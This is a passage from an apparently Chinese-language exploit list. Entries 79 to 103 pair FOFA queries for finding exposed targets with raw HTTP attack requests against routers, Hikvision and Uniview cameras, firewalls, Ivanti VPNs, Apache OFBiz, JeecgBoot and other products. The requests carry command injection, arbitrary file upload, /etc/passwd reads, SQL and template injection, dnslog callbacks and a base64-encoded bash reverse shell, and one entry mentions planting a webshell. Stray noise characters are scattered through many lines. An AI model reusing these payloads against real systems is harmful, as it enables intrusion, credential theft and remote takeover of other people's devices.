POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
$ \) P3 \# `- w8 F9 SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 I; _' f' P3 S! d$ Z. [Connection: close
2 l, g8 ]4 N3 ?0 M( d8 a; MContent-Length: 336
( s3 s8 d1 g5 r9 QAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
" X" R* h% k% ?8 _1 w* A" k+ R5 o
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
- ^1 S2 V& K. V" q, P& IContent-Type: image/png
9 b& C1 r9 K6 {  j+ c# T7 I
YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
  h# X5 D' T9 _5 q- }, l3 s( A1 ^Content-Disposition: form-data; name="target"
0 w- S( @: @) ]" U+ C
% x: |+ t1 k& o. g: p1 Y, u8 G/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--


GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
" x8 S# z% q; [2 g* KHost: x.x.x.x

6 @6 _; L- p' r
- I7 b' h3 q- j( A/ Y/ U79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
" a4 \3 K( [0 z$ l: g+ U9 N7 cHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
  f4 N2 E4 ], U( c0 GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
# f8 a8 C  I& ~' ]$ t$ fUpgrade-Insecure-Requests: 1
1 U! F( j' i: T$ L

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
- b2 j! n) _1 j. ?6 JFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
& _' {: n- h5 S5 IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
9 y; R7 }5 j* E) q4 @# lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
% g, V6 s% n, {4 `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
! ~. ]+ A! H) ]5 zContent-Type: application/octet-stream
! q9 z# b' {# M) N( L6 A0 YUpgrade-Insecure-Requests: 1

) [+ u1 c) n9 E<% out.print("oessqeonylzaf");%>
( n: v( h8 P7 _" J8 l4 B
4 E/ S/ q/ e* g' B0 T: F! i
GET /xykqmfxpoas.jsp HTTP/1.1
1 a) u, H+ Z& Q" r- CHost: x.x.x.x
0 {# {4 @1 D; [9 hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
: z% }  P2 h8 q1 QAccept-Encoding: gzip
, V- S" I! y  j9 Y% U
% I: c' I( R1 Q# Q4 Y; F
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
( W2 B4 y0 b+ r/ W5 Y6 _/ {GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
7 _7 s! t, o2 `+ f; eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
2 U) D  y0 r8 v% N% IAccept-Encoding: gzip
7 O5 d( h0 B: `: E

82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
0 k* x( s3 k2 Y0 LPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
! a: X- t7 W7 m! k  C- JUser-Agent: Go-http-client/1.1
& a3 o1 g; H& {8 ~Content-Length: 23
Accept-Encoding: gzip
8 o- j& Z, i6 B+ L4 h% ^Connection: close
Content-Type: application/x-www-form-urlencoded
! m; I6 d$ z' u4 V" Y* HReferer: BaseURL

6 H( w/ o# {, H! v) dz1=1&z2="|id;"&z3=bhost

$ B0 r3 g) u# V* g2 D1 F, {
83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
  V  k1 f9 v/ _" O/ E" T

$ {3 l. X8 Y5 V* y% I+ U+ bPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! r) ^* k. W; h& I  rConnection: close
* L# k7 n% }) Q: n. |# bContent-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
, L, E, N8 ^: o5 C4 X
PAYLOAD
- `1 G  b, @  i  t7 T
6 E8 T0 |/ V2 `. m/ A0 J84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
) M7 N+ @' r% g$ L/ d
' j# i5 x$ N1 w$ h7 n

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
$ m6 T& H8 L6 a* T8 q3 \Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
; F' h' c* Z/ q/ i: t- s+ ]Content-Length: 156
6 W! E7 z4 l1 n! h9 F7 IAccept: */*
Connection: close
Content-Type: application/json
# S6 x2 x7 G2 u# nAccept-Encoding: gzip

{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
& T1 l) q3 i7 W! s# x- m: k  "type": "0"
}


85. SysAid On-premise< 23.3.36远程代码执行
8 |  v. x0 U: t3 {, ACVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
7 |( W& V$ j8 Z( E' T/ m% xEXP数据包如下，注入哥斯拉马
4 O* u3 m+ D# c+ b/ }9 W' V* z: ZPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 _! d1 p/ @, v0 v+ j: P- F  F7 nContent-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD

3 Q5 u9 }" J; D5 Y: @3 `2 n回显URL：http://x.x.x.x/userfiles/index.jsp

, u4 U: v7 V7 \2 q$ y1 w86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
' [2 j2 |0 A. ?8 v6 E, Z8 sPOST /cgi-bin/network_test.php HTTP/1.1
9 ^- s$ V# r8 O% QHost: x.x.x.x
5 E. ?3 q, t+ b* }! B; Y( c* eUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
7 f/ Y( {+ X2 {# u; KConnection: close
/ G/ ^5 ]) v; u0 i5 y* BContent-Length: 44
Accept: */*
Accept-Encoding: gzip
" {9 O% ]# i& H$ H" q. gAccept-Language: en
Content-Type: application/x-www-form-urlencoded
& j1 m% R, s8 w; W% e
$ F9 ~* E- d2 B; q7 ^host=%0acat${IFS}/etc/passwd%0a&command=ping


7 B4 l: a- ^) C% |87. 安恒明御安全网关aaa_local_web_preview文件上传
5 E# W+ S9 X- x# l3 GFOFA：title="明御安全网关"
; ~( G' i5 a3 n- i. c" X7 W6 PPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
2 n) w6 h1 C" }) J; S: ]. [Host: X.X.X.X
6 l& a1 ]! u) b5 v1 z" |6 F* nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. V  j+ S2 I" L8 K4 M$ F. x) g) V0 cConnection: close
( s3 n  L* I* T! E, zContent-Length: 198
8 R# ?" p* f' _' ?8 HAccept-Encoding: gzip
( o: h% K2 P# r% l% cContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

% m' N. L3 e: M, F0 X$ {" S& x--qqobiandqgawlxodfiisporjwravxtvd
3 U6 b  |5 k* r) \Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
- s' G" |* s0 n7 b$ F; i2 S6 PContent-Type: text/plain

4 ^2 y+ X' u. E2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
, V5 J- J5 O8 m) V9 @: u' J
/ p! r; c5 C: a3 n6 D$ M+ I' h3 N
! S6 M0 v' E% `) Q/jfhatuwe.php
4 }, a0 V! g3 h$ j
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
$ j: X/ e1 o( J" G7 dFOFA：title="明御安全网关"
, H5 {% C/ q9 N! T& q1 f0 tGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
9 ~4 i' e3 l) oHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( o+ n7 L" a6 Q; r8 V* q. PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' S8 y( ^$ P' z; x+ V1 vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* x& y5 M  z! H3 Z0 V* ^Connection: close
3 H9 A9 U- l* p6 p1 R
0 `8 n4 V. R5 o# l; h
/astdfkhl.php

( }2 Z$ l2 F; q; w; q3 ]89. 致远互联FE协作办公平台editflow_manager存在sql注入
; n& I& L3 a% M0 |0 MFOFA：title="FE协作办公平台" || body="li_plugins_download"
4 v: x$ M  W0 H# k7 ^! wPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ e* V5 M* s; B6 T. w1 a& c/ S. i- FConnection: close
3 L/ {: F; _7 A3 S5 lContent-Length: 41
  v( y" j4 D& e# `% n# ~4 k6 }Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
8 ~  h. ?/ D; m- }) l
/ j* o$ `4 K7 P2 Xoption=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
7 R* K& v9 ^' Z9 D8 G) o/ k" yPOST /php/ping.php HTTP/1.1
' t5 E, b2 N% p  }% pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
! j2 I; c/ L) OAccept-Encoding: gzip, deflate
4 v+ v% v, Z6 v( eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 M2 Y) O. b+ GConnection: close
( V; V9 U7 \9 R) s/ RContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
! h1 o. Q' P% @+ {/ }, g0 B
8 t7 @+ t; Z. vjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
9 z* ~( M& `( u3 M+ w. g+ @
0 v# W3 a! @  W+ ?% _- I, U( z) G
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
7 Z. o1 b. d6 K, |GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
- S" A! h# u& l) @Accept: */*
2 ], w' u/ L. N) AConnection: keep-alive


  {4 M6 k4 ~; C& H2 u5 }2 `, \
; [3 S; a, V" Q8 H92. 海康威视运行管理中心session命令执行
$ n7 A% L$ b, U) R( {( f4 f0 nFastjson命令执行
+ U& u0 p- I( Y7 I8 P3 Q8 c8 Uhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
! t# O8 L- c, \( N% E& fPOST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
8 Q6 N$ M. z) o0 m$ R# SAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
9 Q3 k5 H( q. C- J5 w0 O) hX-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
8 P  A9 k9 \; V1 wAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
" x% J% ?3 b1 I* E; H* B* a( H
PAYLOAD
& s! V  S2 b: L$ X7 O# p) h, ]

93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
' M( P, s6 c8 \3 Q; h  ~* C: CPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
7 |8 g6 M; v7 F4 ]+ M3 lContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
- }6 p5 X. A, e2 R) w2 t, |User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; h( x& {! w- N; E% d6 ]: |) V
8 B8 |1 @3 X- u: F. `, A------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
- {/ s% F) _! d' `0 n
10000000
- j* N/ ?. f9 m& A1 k------WebKitFormBoundarykcbkgdfx
1 K3 B' _9 q; m8 g3 E2 _' {" U3 ZContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

6 ~# w9 e; Z3 j/ q# A/ D; f' `& Lwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
" f) f1 J" [7 {, e$ g
obj_app_upfile
3 G% t, a( r" |8 d, ?7 H------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
- _) K2 X' @6 f: }) Z# W------WebKitFormBoundarykcbkgdfx--
# |4 A6 Q/ R' h  O, w% t0 S' X; {
% d- A5 K/ h. [0 a( k- D
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 T2 Z) D( }8 L" F8 ~0 N, W. j( x* c4 `
+ L9 u$ N/ t/ a9 @
3 h- u: h8 _! K& Y' ]5 b. P, H94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
: @1 ]0 f( q! X1 i( kHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
' j9 M* k5 N9 u3 [
3 l5 d6 M# S% K10000000
0 O) O1 q" A2 P/ O: J) g( S------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
$ Q! d1 ^5 n* c. _, B2 |, A+ oContent-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
4 q' d# V4 q% T7 O------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

$ s; R( z; v2 {! j3 {+ F7 Z' uobj_app_upfile
------WebKitFormBoundarybqvzqvmt
( E: x; i, K: kContent-Disposition: form-data; name="__hash__"
7 C) l' \* g, n+ k3 f
0b9d6b1ab7479ab69d9f71b05e0e9445
, w2 z- o4 F: |* l7 ?7 d------WebKitFormBoundarybqvzqvmt--
( t' V, z/ c- w* \3 y' {& T. h
) K! U) w4 [; U0 M4 K9 ^1 Z/ v

GET /attachements/xlskxknxa.txt HTTP/1.1
! ?2 _1 G) Z' x" V* j1 E" uHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

- E4 S7 v: W! F. @3 s# g5 g4 a7 H

2 v/ h7 k: M; h2 |95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
" U. {& F5 p" w+ h2 z2 [POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
5 s0 F1 P; X. iHost: x.x.x.x
( X- H. s& E! a- B3 gUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
4 Z% V/ c# ]5 n9 H. a3 E- gContent-Length: 889
Content-Type: application/xml
( s! S7 k4 U5 ^# I* w- q$ hAccept-Encoding: gzip

<?xml version="1.0"?>
<methodCall>
, h- }* \! L! d6 g: Y0 k   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
0 t2 \# M, h8 R) N# T$ v- w' B      <param>
+ m0 ~7 W: Y& j5 a% R      <value>
: e) v+ M' P8 o0 [& T        <struct>
( t6 t9 E5 |+ b       <member>
6 E% y& M/ x9 t  e4 |4 c6 j5 w( }          <name>test</name>
- g" J2 h7 E, n0 G* Z1 l! s9 b2 `          <value>
4 M# _7 F% V) {+ L% Q      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
      </value>
    </param>
    </params>
</methodCall>


4 x( E& p1 q# R% ]用ysoserial生成payload
) j' b7 G: Z# i* m; |( [5 Cjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
+ J( A( G) e7 B  c, _
) C4 ]6 R; b5 N0 {
) }0 o8 ~& w: |; ^) s1 _将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
/ X9 F8 g& S3 a- I3 |% {7 C1 Z6 EContent-Type: application/xml
Accept-Encoding: gzip
6 t+ B0 D+ e' Z. A1 C! [
PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
( O* z) e, L9 N6 c% |FOFA：app="Apache_OFBiz"
, C  Q9 d) c" ~" P  ]" r3 w9 XPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
$ j, x' V9 l, W  Z- ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
1 |# q8 a- a7 D, s  NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: T% H3 X6 n% x% o# D  @Content-Type: application/x-www-form-urlencoded
Content-Length: 55
1 m0 C* v5 X- j% m& [7 S! v
1 Z8 n* `! O! M+ I8 p! k7 AgroovyProgram=throw+new+Exception('id'.execute().text);

" a# ~0 V9 u, g0 L  j
8 s3 c# j7 @7 c- ^反弹shell
8 _2 \7 O6 V$ p+ F$ c/ {+ A; O* u  r6 z在kali上启动一个监听
nc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
0 P$ O' U( v" [% ^, m6 {7 V; pAccept: */*
1 s4 Y( i! W2 W' Z/ e6 G8 sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) y" e. b2 N" W2 gContent-Type: application/x-www-form-urlencoded
Content-Length: 71

7 K! j% x& E+ A  ~2 n5 igroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
$ A: k3 c" Y5 S5 R
7 ?, h6 |& c9 }+ T: Z0 {97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
9 v7 d# `, i, qGET /passport/login/ HTTP/1.1
. ^+ T4 V. L' F" p0 w" i* S  GHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! \% _4 P# O1 |- C& X/ [- X9 CAccept-Encoding: gzip
# S5 q$ `/ s- q" B4 R4 sConnection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
; A/ U3 i7 L/ ZConnection: close
1 m" ^9 Z0 `$ @: K. F  g6 V. b% rContent-Length: 121
Accept: */*
5 D6 \4 Q& h- d0 ^$ ^( NAccept-Encoding: gzip, deflate
$ w1 _8 ]: P1 f: f" t$ M, ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. K4 Z: k+ f( b2 }* v1 x; Y$ bContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
6 A" A9 ]9 @' q- a

4 ?- d3 @  f% ^. V* Z1 }99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
' K, P* |9 B( P' K& lPOST /classes/common/busiFacade.php HTTP/1.1
& g: _) s$ M* D0 B1 LHost: 192.168.40.130:8080
- H% p$ H& i2 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( n& |8 }5 x! iConnection: close
Content-Length: 154
Accept: */*
$ O6 s9 j0 @. Q+ F0 J- B( A# _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
7 a3 r9 t$ l* [FOFA：icon_hash="874152924"
4 |9 A) B; c3 {) \) H3 L' WPOST /api/file/formimage HTTP/1.1
  [0 A2 U7 g6 f5 }Host: 192.168.40.130
8 W! |4 f! ?) s( DUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
2 o. M* r  l* z( Y8 k7 |Accept-Encoding: gzip

. t9 }; x9 B8 j: D------WebKitFormBoundarygcflwtei
7 f( L$ w7 G- {; E; E. iContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
; J* {" `% n# [$ v* ]' [( n# P! g------WebKitFormBoundarygcflwtei--
+ }1 a6 ?, D7 g4 D- A) @
% b4 f* _. u! q" @& X
101. ivanti policy secure-22.6命令注入
" N$ u+ s' c2 c7 Y) dCVE-2024-21887
. |6 j" c' I) n8 ~. aFOFA：body="welcome.cgi?p=logo"
& o: n  z9 D) f- F$ t! NGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
2 e, u( _5 `- h7 C: P) s) UUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
( k, t" D" k5 ^- h" C3 kConnection: close
- N# ^" [; g! w2 ]Accept-Encoding: gzip
$ y- O/ S4 q# L/ I- m0 @0 V
0 [' {5 `( P! _% ]: _- u/ e3 K8 b
$ a# m( g9 z& v9 u3 @3 l102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
" i6 K0 s8 M7 P+ wCVE-2024-21893
" r6 M4 K3 h3 b" a( O6 IFOFA：body="welcome.cgi?p=logo"
  J' {- m5 F! `' APOST /dana-ws/saml20.ws HTTP/1.1
! e! g; L# j, hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
" ]8 o8 b& y. z, E1 W: a' N- JAccept-Encoding: gzip

- V+ }) z- h$ k3 L0 x<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

1 k: }) G6 e% ?, f3 x$ a103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
3 f+ n$ P2 ^& R  ~+ a# iHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
  Q7 f. ^( o# ^; g7 M3 lConnection: close
7 b; S2 U; z7 x' D1 W3 k2 P- E  ]Content-Length: 204
0 u/ G8 \+ `8 ^0 z  Q* }' eContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

, d% `6 ?5 s5 YSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
7 ?: j- I; v; |# L! i# v

) i- B  L4 D" H5 b其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
